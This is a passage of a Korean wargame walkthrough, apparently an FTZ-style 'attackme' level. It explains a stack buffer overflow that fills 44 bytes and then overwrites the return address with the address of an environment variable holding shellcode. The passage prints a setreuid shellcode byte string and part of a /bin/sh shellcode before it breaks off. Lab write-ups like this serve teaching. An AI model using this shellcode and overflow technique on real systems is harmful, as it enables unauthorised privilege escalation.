attackme의 코드를 봅시다.권한을 올려주는 코드가 보이지않습니다.이는 setreuid코드를 직접 쉘 코드로 짜와야 한다는 뜻입니다.. 우선 메인함수를 보면, 처음에 40 바이트를 할당하였습니다.그럼 메모리의 구조는| buffer: 40 byte | SEP: 4 byte | RET: 4 byte |이므로 총 44바이트의 쓸모없는 값을 넣은 후 4 바이트를 쉘코드를 가진 환경변수의 주소로 덮어주면 될 것 같습니다. level20의 setuid입니다. setreuid 쉘 코드 : \x31\xc0\x31\xdb\x31\xc9\x66\xbb\x1c\x0c\x66\xb9\x1c\x0c\xb0\x46\xcd\x80 25byte 쉘 코드: \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\..